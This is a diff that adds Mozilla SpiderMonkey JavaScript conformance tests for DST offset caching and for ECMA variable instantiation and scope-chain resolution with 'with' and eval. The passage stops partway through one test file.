index 000000000..a15692ff0
--- /dev/null
+++ b/js/src/tests/ecma/Date/dst-offset-caching-5-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(5, 8);
diff --git a/js/src/tests/ecma/Date/dst-offset-caching-6-of-8.js b/js/src/tests/ecma/Date/dst-offset-caching-6-of-8.js
new file mode 100644
index 000000000..d2ce8e90c
--- /dev/null
+++ b/js/src/tests/ecma/Date/dst-offset-caching-6-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(6, 8);
diff --git a/js/src/tests/ecma/Date/dst-offset-caching-7-of-8.js b/js/src/tests/ecma/Date/dst-offset-caching-7-of-8.js
new file mode 100644
index 000000000..aaa560c20
--- /dev/null
+++ b/js/src/tests/ecma/Date/dst-offset-caching-7-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(7, 8);
diff --git a/js/src/tests/ecma/Date/dst-offset-caching-8-of-8.js b/js/src/tests/ecma/Date/dst-offset-caching-8-of-8.js
new file mode 100644
index 000000000..30a6f781b
--- /dev/null
+++ b/js/src/tests/ecma/Date/dst-offset-caching-8-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(8, 8);
diff --git a/js/src/tests/ecma/Date/shell.js b/js/src/tests/ecma/Date/shell.js
new file mode 100644
index 000000000..fc78d24b7
--- /dev/null
+++ b/js/src/tests/ecma/Date/shell.js
@@ -0,0 +1,149 @@
+
+var BUGNUMBER;
+var summary;
+
+function runDSTOffsetCachingTestsFraction(part, parts)
+{
+ BUGNUMBER = 563938;
+ summary = 'Cache DST offsets to improve SunSpider score';
+
+ print(BUGNUMBER + ": " + summary);
+
+ var MAX_UNIX_TIMET = 2145859200;
+ var RANGE_EXPANSION_AMOUNT = 30 * 24 * 60 * 60;
+
+ /**
+ * Computes the time zone offset in minutes at the given timestamp.
+ */
+ function tzOffsetFromUnixTimestamp(timestamp)
+ {
+ var d = new Date(NaN);
+ d.setTime(timestamp); // local slot = NaN, UTC slot = timestamp
+ return d.getTimezoneOffset(); // get UTC, calculate local => diff in minutes
+ }
+
+ /**
+ * Clear the DST offset cache, leaving it initialized to include a timestamp
+ * completely unlike the provided one (i.e. one very, very far away in time
+ * from it). Thus an immediately following lookup for the provided timestamp
+ * will cache-miss and compute a clean value.
+ */
+ function clearDSTOffsetCache(undesiredTimestamp)
+ {
+ var opposite = (undesiredTimestamp + MAX_UNIX_TIMET / 2) % MAX_UNIX_TIMET;
+
+ // Generic purge to known, but not necessarily desired, state
+ tzOffsetFromUnixTimestamp(0);
+ tzOffsetFromUnixTimestamp(MAX_UNIX_TIMET);
+
+ // Purge to desired state. Cycle 2x in case opposite or undesiredTimestamp
+ // is close to 0 or MAX_UNIX_TIMET.
+ tzOffsetFromUnixTimestamp(opposite);
+ tzOffsetFromUnixTimestamp(undesiredTimestamp);
+ tzOffsetFromUnixTimestamp(opposite);
+ tzOffsetFromUnixTimestamp(undesiredTimestamp);
+ }
+
+ function computeCanonicalTZOffset(timestamp)
+ {
+ clearDSTOffsetCache(timestamp);
+ return tzOffsetFromUnixTimestamp(timestamp);
+ }
+
+ var TEST_TIMESTAMPS_SECONDS =
+ [
+ // Special-ish timestamps
+ 0,
+ RANGE_EXPANSION_AMOUNT,
+ MAX_UNIX_TIMET,
+ ];
+
+ var ONE_DAY = 24 * 60 * 60;
+ var EIGHTY_THREE_HOURS = 83 * 60 * 60;
+ var NINETY_EIGHT_HOURS = 98 * 60 * 60;
+ function nextIncrement(i)
+ {
+ return i === EIGHTY_THREE_HOURS ? NINETY_EIGHT_HOURS : EIGHTY_THREE_HOURS;
+ }
+
+ // Now add a long sequence of non-special timestamps, from a fixed range, that
+ // overlaps a DST change by "a bit" on each side. 67 days should be enough
+ // displacement that we can occasionally exercise the implementation's
+ // thirty-day expansion and the DST-offset-change logic. Use two different
+ // increments just to be safe and catch something a single increment might not.
+ var DST_CHANGE_DATE = 1268553600; // March 14, 2010
+ for (var t = DST_CHANGE_DATE - 67 * ONE_DAY,
+ i = nextIncrement(NINETY_EIGHT_HOURS),
+ end = DST_CHANGE_DATE + 67 * ONE_DAY;
+ t < end;
+ i = nextIncrement(i), t += i)
+ {
+ TEST_TIMESTAMPS_SECONDS.push(t);
+ }
+
+ var TEST_TIMESTAMPS =
+ TEST_TIMESTAMPS_SECONDS.map(function(v) { return v * 1000; });
+
+ /**************
+ * BEGIN TEST *
+ **************/
+
+ // Compute the correct time zone offsets for all timestamps to be tested.
+ var CORRECT_TZOFFSETS = TEST_TIMESTAMPS.map(computeCanonicalTZOffset);
+
+ // Intentionally and knowingly invoking every single logic path in the cache
+ // isn't easy for a human to get right (and know he's gotten it right), so
+ // let's do it the easy way: exhaustively try all possible four-date sequences
+ // selecting from our array of possible timestamps.
+
+ var sz = TEST_TIMESTAMPS.length;
+ var start = Math.floor((part - 1) / parts * sz);
+ var end = Math.floor(part / parts * sz);
+
+ print("Exhaustively testing timestamps " +
+ "[" + start + ", " + end + ") of " + sz + "...");
+
+ try
+ {
+ for (var i = start; i < end; i++)
+ {
+ print("Testing timestamp " + i + "...");
+
+ var t1 = TEST_TIMESTAMPS[i];
+ for (var j = 0; j < sz; j++)
+ {
+ var t2 = TEST_TIMESTAMPS[j];
+ for (var k = 0; k < sz; k++)
+ {
+ var t3 = TEST_TIMESTAMPS[k];
+ for (var w = 0; w < sz; w++)
+ {
+ var t4 = TEST_TIMESTAMPS[w];
+
+ clearDSTOffsetCache(t1);
+
+ var tzo1 = tzOffsetFromUnixTimestamp(t1);
+ var tzo2 = tzOffsetFromUnixTimestamp(t2);
+ var tzo3 = tzOffsetFromUnixTimestamp(t3);
+ var tzo4 = tzOffsetFromUnixTimestamp(t4);
+
+ assertEq(tzo1, CORRECT_TZOFFSETS[i]);
+ assertEq(tzo2, CORRECT_TZOFFSETS[j]);
+ assertEq(tzo3, CORRECT_TZOFFSETS[k]);
+ assertEq(tzo4, CORRECT_TZOFFSETS[w]);
+ }
+ }
+ }
+ }
+ }
+ catch (e)
+ {
+ assertEq(true, false,
+ "Error when testing with timestamps " +
+ i + ", " + j + ", " + k + ", " + w +
+ " (" + t1 + ", " + t2 + ", " + t3 + ", " + t4 + ")!");
+ }
+
+ reportCompare(true, true);
+ print("All tests passed!");
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.3-1.js b/js/src/tests/ecma/ExecutionContexts/10.1.3-1.js
new file mode 100644
index 000000000..f493858fa
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.3-1.js
@@ -0,0 +1,73 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.3-1.js
+ ECMA Section: 10.1.3
+ Description:
+
+ For each formal parameter, as defined in the FormalParameterList, create
+ a property of the variable object whose name is the Identifier and whose
+ attributes are determined by the type of code. The values of the
+ parameters are supplied by the caller. If the caller supplies fewer
+ parameter values than there are formal parameters, the extra formal
+ parameters have value undefined. If two or more formal parameters share
+ the same name, hence the same property, the corresponding property is
+ given the value that was supplied for the last parameter with this name.
+ If the value of this last parameter was not supplied by the caller,
+ the value of the corresponding property is undefined.
+
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=104191
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "10.1.3-1";
+var VERSION = "ECMA_1";
+var TITLE = "Variable Instantiation: Formal Parameters";
+var BUGNUMBER="104191";
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var myfun1 = new Function( "a", "a", "return a" );
+var myfun2 = new Function( "a", "b", "a", "return a" );
+
+function myfun3(a, b, a) {
+ return a;
+}
+
+// myfun1, myfun2, myfun3 tostring
+
+
+new TestCase(
+ SECTION,
+ String(myfun2) +"; myfun2(2,4,8)",
+ 8,
+ myfun2(2,4,8) );
+
+new TestCase(
+ SECTION,
+ "myfun2(2,4)",
+ void 0,
+ myfun2(2,4));
+
+new TestCase(
+ SECTION,
+ String(myfun3) +"; myfun3(2,4,8)",
+ 8,
+ myfun3(2,4,8) );
+
+new TestCase(
+ SECTION,
+ "myfun3(2,4)",
+ void 0,
+ myfun3(2,4) );
+
+test();
+
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.3-2.js b/js/src/tests/ecma/ExecutionContexts/10.1.3-2.js
new file mode 100644
index 000000000..c18d9b783
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.3-2.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.3-1.js
+ ECMA Section: 10.1.3
+ Description:
+
+ Author: mozilla@florian.loitsch.com
+ Date: 27 July 2005
+*/
+
+var SECTION = "10.1.3-2";
+var VERSION = "ECMA_1";
+var TITLE = "Variable Instantiation: Function Declarations";
+var BUGNUMBER="299639";
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function f(g)
+{
+ function g() {
+ return "g";
+ };
+ return g;
+}
+
+new TestCase(
+ SECTION,
+ "typeof f(\"parameter\")",
+ "function",
+ typeof f("parameter") );
+
+test();
+
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.3.js b/js/src/tests/ecma/ExecutionContexts/10.1.3.js
new file mode 100644
index 000000000..897a5b370
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.3.js
@@ -0,0 +1,136 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.3.js
+ ECMA Section: 10.1.3.js Variable Instantiation
+ Description:
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+
+var SECTION = "10.1.3";
+var VERSION = "ECMA_1";
+var TITLE = "Variable instantiation";
+var BUGNUMBER = "20256";
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// overriding a variable or function name with a function should succeed
+
+new TestCase(SECTION,
+ "function t() { return \"first\" };" +
+ "function t() { return \"second\" };t() ",
+ "second",
+ eval("function t() { return \"first\" };" +
+ "function t() { return \"second\" };t()"));
+
+
+new TestCase(SECTION,
+ "var t; function t(){}; typeof(t)",
+ "function",
+ eval("var t; function t(){}; typeof(t)"));
+
+
+// formal parameter tests
+
+new TestCase(SECTION,
+ "function t1(a,b) { return b; }; t1( 4 );",
+ void 0,
+ eval("function t1(a,b) { return b; }; t1( 4 );") );
+
+new TestCase(SECTION,
+ "function t1(a,b) { return a; }; t1(4);",
+ 4,
+ eval("function t1(a,b) { return a; }; t1(4)"));
+
+new TestCase(SECTION,
+ "function t1(a,b) { return a; }; t1();",
+ void 0,
+ eval("function t1(a,b) { return a; }; t1()"));
+
+new TestCase(SECTION,
+ "function t1(a,b) { return a; }; t1(1,2,4);",
+ 1,
+ eval("function t1(a,b) { return a; }; t1(1,2,4)"));
+/*
+
+new TestCase(SECTION, "function t1(a,a) { return a; }; t1( 4 );",
+void 0,
+eval("function t1(a,a) { return a; }; t1( 4 )"));
+
+new TestCase(SECTION,
+"function t1(a,a) { return a; }; t1( 1,2 );",
+2,
+eval("function t1(a,a) { return a; }; t1( 1,2 )"));
+*/
+// variable declarations
+
+new TestCase(SECTION,
+ "function t1(a,b) { return a; }; t1( false, true );",
+ false,
+ eval("function t1(a,b) { return a; }; t1( false, true );"));
+
+new TestCase(SECTION,
+ "function t1(a,b) { return b; }; t1( false, true );",
+ true,
+ eval("function t1(a,b) { return b; }; t1( false, true );"));
+
+new TestCase(SECTION,
+ "function t1(a,b) { return a+b; }; t1( 4, 2 );",
+ 6,
+ eval("function t1(a,b) { return a+b; }; t1( 4, 2 );"));
+
+new TestCase(SECTION,
+ "function t1(a,b) { return a+b; }; t1( 4 );",
+ Number.NaN,
+ eval("function t1(a,b) { return a+b; }; t1( 4 );"));
+
+// overriding a function name with a variable should fail
+
+new TestCase(SECTION,
+ "function t() { return 'function' };" +
+ "var t = 'variable'; typeof(t)",
+ "string",
+ eval("function t() { return 'function' };" +
+ "var t = 'variable'; typeof(t)"));
+
+// function as a constructor
+
+new TestCase(SECTION,
+ "function t1(a,b) { var a = b; return a; } t1(1,3);",
+ 3,
+ eval("function t1(a, b){ var a = b; return a;}; t1(1,3)"));
+
+new TestCase(SECTION,
+ "function t2(a,b) { this.a = b; } x = new t2(1,3); x.a",
+ 3,
+ eval("function t2(a,b) { this.a = b; };" +
+ "x = new t2(1,3); x.a"));
+
+new TestCase(SECTION,
+ "function t2(a,b) { this.a = a; } x = new t2(1,3); x.a",
+ 1,
+ eval("function t2(a,b) { this.a = a; };" +
+ "x = new t2(1,3); x.a"));
+
+new TestCase(SECTION,
+ "function t2(a,b) { this.a = b; this.b = a; } " +
+ "x = new t2(1,3);x.a;",
+ 3,
+ eval("function t2(a,b) { this.a = b; this.b = a; };" +
+ "x = new t2(1,3);x.a;"));
+
+new TestCase(SECTION,
+ "function t2(a,b) { this.a = b; this.b = a; }" +
+ "x = new t2(1,3);x.b;",
+ 1,
+ eval("function t2(a,b) { this.a = b; this.b = a; };" +
+ "x = new t2(1,3);x.b;") );
+
+test();
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.4-1.js b/js/src/tests/ecma/ExecutionContexts/10.1.4-1.js
new file mode 100644
index 000000000..95e41bfce
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.4-1.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.4-1.js
+ ECMA Section: 10.1.4 Scope Chain and Identifier Resolution
+ Description:
+ Every execution context has associated with it a scope chain. This is
+ logically a list of objects that are searched when binding an Identifier.
+ When control enters an execution context, the scope chain is created and
+ is populated with an initial set of objects, depending on the type of
+ code. When control leaves the execution context, the scope chain is
+ destroyed.
+
+ During execution, the scope chain of the execution context is affected
+ only by WithStatement. When execution enters a with block, the object
+ specified in the with statement is added to the front of the scope chain.
+ When execution leaves a with block, whether normally or via a break or
+ continue statement, the object is removed from the scope chain. The object
+ being removed will always be the first object in the scope chain.
+
+ During execution, the syntactic production PrimaryExpression : Identifier
+ is evaluated using the following algorithm:
+
+ 1. Get the next object in the scope chain. If there isn't one, go to step 5.
+ 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as
+ the property.
+ 3. If Result(2) is true, return a value of type Reference whose base object
+ is Result(l) and whose property name is the Identifier.
+ 4. Go to step 1.
+ 5. Return a value of type Reference whose base object is null and whose
+ property name is the Identifier.
+ The result of binding an identifier is always a value of type Reference with
+ its member name component equal to the identifier string.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.1.4-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution");
+
+new TestCase( "SECTION", "with MyObject, eval should return square of " );
+
+test();
+
+function test() {
+ for ( gTc=0; gTc < gTestcases.length; gTc++ ) {
+
+ var MYOBJECT = new MyObject();
+ var INPUT = 2;
+ gTestcases[gTc].description += "( " + INPUT +" )" ;
+
+ with ( MYOBJECT ) {
+ gTestcases[gTc].actual = eval( INPUT );
+ gTestcases[gTc].expect = Math.pow(INPUT,2);
+ }
+
+ gTestcases[gTc].passed = writeTestCaseResult(
+ gTestcases[gTc].expect,
+ gTestcases[gTc].actual,
+ gTestcases[gTc].description +" = "+
+ gTestcases[gTc].actual );
+
+ gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value ";
+ }
+ return ( gTestcases );
+}
+
+function MyObject() {
+ this.eval = new Function( "x", "return(Math.pow(Number(x),2))" );
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.4-10.js b/js/src/tests/ecma/ExecutionContexts/10.1.4-10.js
new file mode 100644
index 000000000..ea6a4299b
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.4-10.js
@@ -0,0 +1,70 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.4-10.js
+ ECMA Section: 10.1.4 Scope Chain and Identifier Resolution
+ Description:
+ Every execution context has associated with it a scope chain. This is
+ logically a list of objects that are searched when binding an Identifier.
+ When control enters an execution context, the scope chain is created and
+ is populated with an initial set of objects, depending on the type of
+ code. When control leaves the execution context, the scope chain is
+ destroyed.
+
+ During execution, the scope chain of the execution context is affected
+ only by WithStatement. When execution enters a with block, the object
+ specified in the with statement is added to the front of the scope chain.
+ When execution leaves a with block, whether normally or via a break or
+ continue statement, the object is removed from the scope chain. The object
+ being removed will always be the first object in the scope chain.
+
+ During execution, the syntactic production PrimaryExpression : Identifier
+ is evaluated using the following algorithm:
+
+ 1. Get the next object in the scope chain. If there isn't one, go to step 5.
+ 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as
+ the property.
+ 3. If Result(2) is true, return a value of type Reference whose base object
+ is Result(l) and whose property name is the Identifier.
+ 4. Go to step 1.
+ 5. Return a value of type Reference whose base object is null and whose
+ property name is the Identifier.
+ The result of binding an identifier is always a value of type Reference with
+ its member name component equal to the identifier string.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.1.4-10";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution");
+
+new TestCase( "SECTION", "MYOBJECT.toString()" );
+
+test();
+
+function test() {
+ for ( gTc=0; gTc < gTestcases.length; gTc++ ) {
+ var VALUE = 12345;
+ var MYOBJECT = new Number( VALUE );
+
+ with ( MYOBJECT ) {
+ gTestcases[gTc].actual = toString();
+ gTestcases[gTc].expect = String(VALUE);
+ }
+
+ gTestcases[gTc].passed = writeTestCaseResult(
+ gTestcases[gTc].expect,
+ gTestcases[gTc].actual,
+ gTestcases[gTc].description +" = "+
+ gTestcases[gTc].actual );
+
+ gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value ";
+ }
+ return ( gTestcases );
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.4-2.js b/js/src/tests/ecma/ExecutionContexts/10.1.4-2.js
new file mode 100644
index 000000000..b2af20a9f
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.4-2.js
@@ -0,0 +1,78 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.4-1.js
+ ECMA Section: 10.1.4 Scope Chain and Identifier Resolution
+ Description:
+ Every execution context has associated with it a scope chain. This is
+ logically a list of objects that are searched when binding an Identifier.
+ When control enters an execution context, the scope chain is created and
+ is populated with an initial set of objects, depending on the type of
+ code. When control leaves the execution context, the scope chain is
+ destroyed.
+
+ During execution, the scope chain of the execution context is affected
+ only by WithStatement. When execution enters a with block, the object
+ specified in the with statement is added to the front of the scope chain.
+ When execution leaves a with block, whether normally or via a break or
+ continue statement, the object is removed from the scope chain. The object
+ being removed will always be the first object in the scope chain.
+
+ During execution, the syntactic production PrimaryExpression : Identifier
+ is evaluated using the following algorithm:
+
+ 1. Get the next object in the scope chain. If there isn't one, go to step 5.
+ 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as
+ the property.
+ 3. If Result(2) is true, return a value of type Reference whose base object
+ is Result(l) and whose property name is the Identifier.
+ 4. Go to step 1.
+ 5. Return a value of type Reference whose base object is null and whose
+ property name is the Identifier.
+ The result of binding an identifier is always a value of type Reference with
+ its member name component equal to the identifier string.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.1.4-2";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution");
+
+new TestCase( "SECTION", "with MyObject, eval should return square of " );
+
+test();
+
+function test() {
+ for ( gTc=0; gTc < gTestcases.length; gTc++ ) {
+
+ var MYOBJECT = new MyObject();
+ var INPUT = 2;
+ gTestcases[gTc].description += "( "+INPUT +" )" ;
+
+ with ( this ) {
+ with ( MYOBJECT ) {
+ gTestcases[gTc].actual = eval( INPUT );
+ gTestcases[gTc].expect = Math.pow(INPUT,2);
+ }
+ }
+
+ gTestcases[gTc].passed = writeTestCaseResult(
+ gTestcases[gTc].expect,
+ gTestcases[gTc].actual,
+ gTestcases[gTc].description +" = "+
+ gTestcases[gTc].actual );
+
+ gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value ";
+ }
+ return ( gTestcases );
+}
+
+function MyObject() {
+ this.eval = new Function( "x", "return(Math.pow(Number(x),2))" );
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.4-3.js b/js/src/tests/ecma/ExecutionContexts/10.1.4-3.js
new file mode 100644
index 000000000..52326ea19
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.4-3.js
@@ -0,0 +1,76 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.4-1.js
+ ECMA Section: 10.1.4 Scope Chain and Identifier Resolution
+ Description:
+ Every execution context has associated with it a scope chain. This is
+ logically a list of objects that are searched when binding an Identifier.
+ When control enters an execution context, the scope chain is created and
+ is populated with an initial set of objects, depending on the type of
+ code. When control leaves the execution context, the scope chain is
+ destroyed.
+
+ During execution, the scope chain of the execution context is affected
+ only by WithStatement. When execution enters a with block, the object
+ specified in the with statement is added to the front of the scope chain.
+ When execution leaves a with block, whether normally or via a break or
+ continue statement, the object is removed from the scope chain. The object
+ being removed will always be the first object in the scope chain.
+
+ During execution, the syntactic production PrimaryExpression : Identifier
+ is evaluated using the following algorithm:
+
+ 1. Get the next object in the scope chain. If there isn't one, go to step 5.
+ 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as
+ the property.
+ 3. If Result(2) is true, return a value of type Reference whose base object
+ is Result(l) and whose property name is the Identifier.
+ 4. Go to step 1.
+ 5. Return a value of type Reference whose base object is null and whose
+ property name is the Identifier.
+ The result of binding an identifier is always a value of type Reference with
+ its member name component equal to the identifier string.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.1.4-3";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution");
+
+new TestCase( "SECTION",
+ "with MyObject, eval should be [object Global].eval " );
+
+test();
+
+function test() {
+ for ( gTc=0; gTc < gTestcases.length; gTc++ ) {
+
+ var MYOBJECT = new MyObject();
+ var INPUT = 2;
+ gTestcases[gTc].description += ( INPUT +"" );
+
+ with ( MYOBJECT ) {
+ eval( INPUT );
+ }
+
+ gTestcases[gTc].passed = writeTestCaseResult(
+ gTestcases[gTc].expect,
+ gTestcases[gTc].actual,
+ gTestcases[gTc].description +" = "+
+ gTestcases[gTc].actual );
+
+ gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value ";
+ }
+ return ( gTestcases );
+}
+
+function MyObject() {
+ this.eval = new Function( "x", "return(Math.pow(Number(x),2))" );
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.4-4.js b/js/src/tests/ecma/ExecutionContexts/10.1.4-4.js
new file mode 100644
index 000000000..0d6636b77
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.4-4.js
@@ -0,0 +1,78 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.4-1.js
+ ECMA Section: 10.1.4 Scope Chain and Identifier Resolution
+ Description:
+ Every execution context has associated with it a scope chain. This is
+ logically a list of objects that are searched when binding an Identifier.
+ When control enters an execution context, the scope chain is created and
+ is populated with an initial set of objects, depending on the type of
+ code. When control leaves the execution context, the scope chain is
+ destroyed.
+
+ During execution, the scope chain of the execution context is affected
+ only by WithStatement. When execution enters a with block, the object
+ specified in the with statement is added to the front of the scope chain.
+ When execution leaves a with block, whether normally or via a break or
+ continue statement, the object is removed from the scope chain. The object
+ being removed will always be the first object in the scope chain.
+
+ During execution, the syntactic production PrimaryExpression : Identifier
+ is evaluated using the following algorithm:
+
+ 1. Get the next object in the scope chain. If there isn't one, go to step 5.
+ 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as
+ the property.
+ 3. If Result(2) is true, return a value of type Reference whose base object
+ is Result(l) and whose property name is the Identifier.
+ 4. Go to step 1.
+ 5. Return a value of type Reference whose base object is null and whose
+ property name is the Identifier.
+ The result of binding an identifier is always a value of type Reference with
+ its member name component equal to the identifier string.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.1.4-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution");
+
+new TestCase( "SECTION",
+ "with MyObject, eval should be [object Global].eval " );
+test();
+
+function test() {
+ for ( gTc=0; gTc < gTestcases.length; gTc++ ) {
+
+ var MYOBJECT = new MyObject();
+ var INPUT = 2;
+ gTestcases[gTc].description += ( INPUT +"" );
+
+ with ( MYOBJECT ) {
+ eval( INPUT );
+ }
+
+ gTestcases[gTc].actual = eval( INPUT );
+ gTestcases[gTc].expect = INPUT;
+
+ gTestcases[gTc].passed = writeTestCaseResult(
+ gTestcases[gTc].expect,
+ gTestcases[gTc].actual,
+ gTestcases[gTc].description +" = "+
+ gTestcases[gTc].actual );
+
+ gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value ";
+ }
+ return ( gTestcases );
+}
+
+function MyObject() {
+ this.eval = new Function( "x", "return(Math.pow(Number(x),2))" );
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/10.1.4-5.js b/js/src/tests/ecma/ExecutionContexts/10.1.4-5.js
new file mode 100644
index 000000000..aaa446093
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.1.4-5.js
@@ -0,0 +1,77 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.1.4-1.js
+ ECMA Section: 10.1.4 Scope Chain and Identifier Resolution
+ Description:
+ Every execution context has associated with it a scope chain. This is
+ logically a list of objects that are searched when binding an Identifier.
+ When control enters an execution context, the scope chain is created and
+ is populated with an initial set of objects, depending on the type of
+ code. When control leaves the execution context, the scope chain is
+ destroyed.
+
+ During execution, the scope chain of the execution context is affected
+ only by WithStatement. When execution enters a with block, the object
+ specified in the with statement is added to the front of the scope chain.
+ When execution leaves a with block, whether normally or via a break or
+ continue statement, the object is removed from the scope chain. The object
+ being removed will always be the first object in the scope chain.
+
+ During execution, the syntactic production PrimaryExpression : Identifier
+ is evaluated using the following algorithm:
+
+ 1. Get the next object in the scope chain. If there isn't one, go to step 5.
+ 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as
+ the property.
+ 3. If Result(2) is true, return a value of type Reference whose base object
+ is Result(l) and whose property name is the Identifier.
+ 4. Go to step 1.
+ 5. Return a value of type Reference whose base object is null and whose
+ property name is the Identifier.
+ The result of binding an identifier is always a value of type Reference with
+ its member name component equal to the identifier string.
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "10.1.4-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution");
+
+new TestCase( "SECTION",
+ "with MyObject, eval should be [object Global].eval " );
+test();
+
+function test() {
+ for ( gTc=0; gTc < gTestcases.length; gTc++ ) {
+
+ var MYOBJECT = new MyObject();
+ var INPUT = 2;
+ gTestcases[gTc].description += ( INPUT +"" );
+
+ with ( MYOBJECT ) {
+ eval = null;
+ }
+
+ gTestcases[gTc].actual = eval( INPUT );
+ gTestcases[gTc].expect = INPUT;
+
